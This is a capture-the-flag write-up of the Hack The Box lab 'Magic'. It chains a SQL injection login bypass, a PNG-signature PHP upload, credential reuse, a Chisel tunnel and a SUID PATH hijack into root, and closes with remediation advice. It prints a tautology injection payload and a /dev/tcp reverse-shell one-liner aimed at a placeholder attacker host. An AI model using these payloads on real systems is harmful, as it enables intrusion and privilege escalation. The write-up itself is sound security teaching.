Skip to content

Magic — SQL Injection and Magic-Byte Upload Bypass to SUID PATH Hijack

Tools
rustscan, nmap, feroxbuster, penelope, chisel, mysql, suid3num, strings
Skill demonstrated
Web application exploitation and Linux privilege escalation via a SUID PATH hijack
Tags
  • linux
  • web
  • sql-injection
  • privilege-escalation
Field Value
Difficulty Medium
Target environment Linux (Ubuntu 18.04); Apache httpd 2.4.29 hosting a PHP web application
Starting position Unauthenticated network access
Objective Move from unauthenticated web access through a SQL injection login bypass and a magic-byte upload evasion to root via a SUID binary PATH hijack
Outcome www-data command execution; root context via the SUID /bin/sysinfo PATH hijack

Magic is a Medium-rated Hack The Box Linux lab whose PHP portfolio application exposes a SQL injection flaw in its login page, an upload panel that validates files by magic bytes, and a SUID binary that invokes system commands through PATH. Chaining these flaws turns unauthenticated web access into a root shell, without any software exploit beyond the injection and the local misconfiguration. Target, attacker, account, and secret values are replaced with role-based placeholders; command syntax is preserved.

Attack path: SQL injection login bypass → admin upload panel → PNG magic-byte upload evasion → www-data reverse shell → plaintext database credentials → Chisel-tunneled MySQL → admin credential recovery → password reuse for <LAB_USER> → SUID /bin/sysinfo PATH hijack → root

  • Target: Linux (Ubuntu 18.04) running Apache httpd 2.4.29 with a PHP web application.
  • Exposed services: SSH (22) and HTTP (80).
  • Starting position: unauthenticated network access, with no provided credentials.
  • Objective: convert a web application foothold into a stable shell, then follow exposed credentials and a privileged local binary to root.
  • Constraints: activity was confined to the Hack The Box lab environment.

Observation: a full TCP scan exposes two services.

Terminal window
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN nmap/Magic-TCP

Truncated scan output:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Magic Portfolio

Significance: HTTP hosts the “Magic Portfolio” site, while SSH offers a remote shell but no credential path yet, so the web application is the initial attack surface. The banners identify the platform and web server versions.

Result: SSH and Apache HTTP are exposed on an Ubuntu host.

Observation: directory enumeration uncovers a login page.

Terminal window
feroxbuster --url http://<TARGET_IP> --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt

Truncated discovery output:

http://<TARGET_IP>/login.php

Significance: an authenticated login form gates the application’s privileged functionality.

Result: a login page is reachable at /login.php.

Observation: the login form is vulnerable to SQL injection, so an authentication clause can be forced true.

Action:

' OR '1'='1

Significance: a tautology payload defeats the login check when input is concatenated into a query instead of parameterized. The source records access to the admin panel and its upload page at /upload.php.

Result: the login check is bypassed and the upload page is reachable.

Observation: the upload page accepts only image types (JPG, JPEG, PNG), judging by file magic bytes rather than extension alone.

Action: a PHP payload is wrapped with a PNG signature so it satisfies the content check.

Terminal window
python3 <FORGE_SCRIPT> forge --payload-file revshell.php -t png -o fakepic.php.png
Wrote: fakepic.png
Signature: png (image/png)
Payload bytes: 2585
Total bytes: 2594

Significance: validating content type by magic bytes alone does not prevent a polyglot file that is simultaneously a valid image and executable PHP.

Result: a PNG-signature file carrying the PHP payload is produced.

Observation: once the forged file is reachable under the web root, requesting it executes the embedded PHP.

Action: start a handler, then request the uploaded file at http://<TARGET_IP>/images/uploads/fakepic.php.png.

Terminal window
penelope -p <LISTENER_PORT>
www-data@<TARGET_HOST>

Significance: the upload directory serves and executes PHP, so an uploaded file becomes code execution in the web server account.

Result: a reverse shell as www-data is obtained.

Observation: the application configuration file stores database credentials in plaintext.

Terminal window
cat /var/www/Magic/db.php5
private static $dbUsername = '<DB_USER>';
private static $dbUserPassword = '<DB_PASSWORD>';

The database listens only on loopback, so it is not directly reachable:

Terminal window
ss -tulpn
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*

Significance: a plaintext database credential inside the web root is directly usable once the service becomes reachable; binding MySQL to 127.0.0.1 removes direct external access but not access from the host.

Result: database credentials are recovered, and the database is confirmed to listen only on loopback.

Observation: because MySQL listens only on 127.0.0.1, a reverse tunnel forwards that port to the attack machine.

Action:

Terminal window
# On the attacker host
chisel server --reverse -p <CHISEL_PORT>
Terminal window
# On the target
./chisel client <ATTACKER_HOST>:<CHISEL_PORT> R:13306:127.0.0.1:3306

The tunneled service is then reachable locally:

Terminal window
mysql -h 127.0.0.1 -P 13306 -u <DB_USER> -p
Enter password: <DB_PASSWORD>

Significance: a reverse tunnel exposes a loopback-only service to the attack machine, turning a local-only database into a remote target without any firewall change.

Result: the tunneled MySQL instance is reachable and accepts the recovered database credentials.

Observation: the application database contains an account table.

show databases;
USE Magic;
SHOW TABLES;
DESCRIBE login;
SELECT * FROM login;
+----+----------+-----------------+
| id | username | password |
+----+----------+-----------------+
| 1 | <ADMIN_USER> | <ADMIN_PASSWORD> |
+----+----------+-----------------+

Significance: the application stores account passwords in plaintext, so database access yields the administrative credential.

Result: the admin credential is recovered from the login table.

Observation: the password recovered from the login table is reused for a system account.

Terminal window
su - <LAB_USER>
Password: <ADMIN_PASSWORD>
<LAB_USER>@<TARGET_HOST>:~$

Significance: reusing an application credential for a system account bridges database access and shell access, so a leaked application secret grants an interactive account.

Result: a shell as <LAB_USER> is obtained.

Observation: SUID enumeration finds a non-standard setuid binary.

Terminal window
python3 suid3num.py
[~] Custom SUID Binaries (Interesting Stuff)
------------------------------
/bin/sysinfo
------------------------------

Significance: a custom setuid binary runs with elevated privileges and is the most promising local escalation target.

Result: /bin/sysinfo is identified as a custom SUID binary.

Observation: strings shows the binary invokes system utilities by bare name, relying on PATH.

Terminal window
strings /bin/sysinfo
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo

Action: prepend a writable directory containing a malicious cat to PATH, then run the binary.

Terminal window
export PATH=/tmp:$PATH
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_HOST>/<LISTENER_PORT> 0>&1"' > /tmp/cat
chmod +x /tmp/cat
sysinfo
root@<TARGET_HOST>:/#

Significance: a setuid program that resolves commands through the inherited PATH executes whatever the caller places first, so a low-privileged account can supply a replacement binary and gain the program’s privileges.

Result: the callback returns a root shell, confirmed by the root prompt.

Challenge Decision Rationale
MySQL listened only on 127.0.0.1 Forwarded the port over a Chisel reverse tunnel The database is not directly reachable from the attack machine
Upload validation compared magic bytes, not extensions Wrapped the PHP payload with a PNG signature An extension rename alone would not satisfy the content check
/bin/sysinfo invoked cat without an absolute path Prepended /tmp to PATH and supplied a cat replacement The binary resolves commands through the inherited PATH

The evidence establishes a root context on the target, reached from unauthenticated web access.

Each finding pairs the observed root cause with its demonstrated impact and a prioritized action. These actions are recommendations; none was validated in the lab.

  1. SQL injection in the login form. User input reached the authentication query without parameterization, so a tautology payload authenticated as an administrator. Recommendation: use parameterized queries or prepared statements. Detection: alert on authentication requests containing SQL metacharacters.
  2. Upload validation by magic bytes only. The upload panel accepted a file based on its leading signature, so a PHP payload wrapped with a PNG header executed from the upload directory. Recommendation: validate extension and content together, store uploads outside the web root, and disable script execution in upload directories. Detection: monitor upload directories for newly written executable files.
  3. Plaintext database credentials in the application. The configuration file stored the database password in cleartext, yielding database access from a web foothold. Recommendation: keep secrets out of the web root and load them from a secrets manager or a restricted environment file. Detection: scan web-accessible files for credential-shaped strings.
  4. Credential reuse between tiers. An application account password also authenticated a system account. Recommendation: issue unique credentials per account and service. Detection: alert on a system account authenticating with a credential associated with an application.
  5. SUID binary resolving commands through PATH. /bin/sysinfo invoked cat by name, so a caller-controlled PATH redirected execution. Recommendation: call external commands by absolute path in privileged binaries and reset PATH to a trusted value. Validation: inventory SUID binaries and review them for unqualified command invocations.
Edit page

Last updated: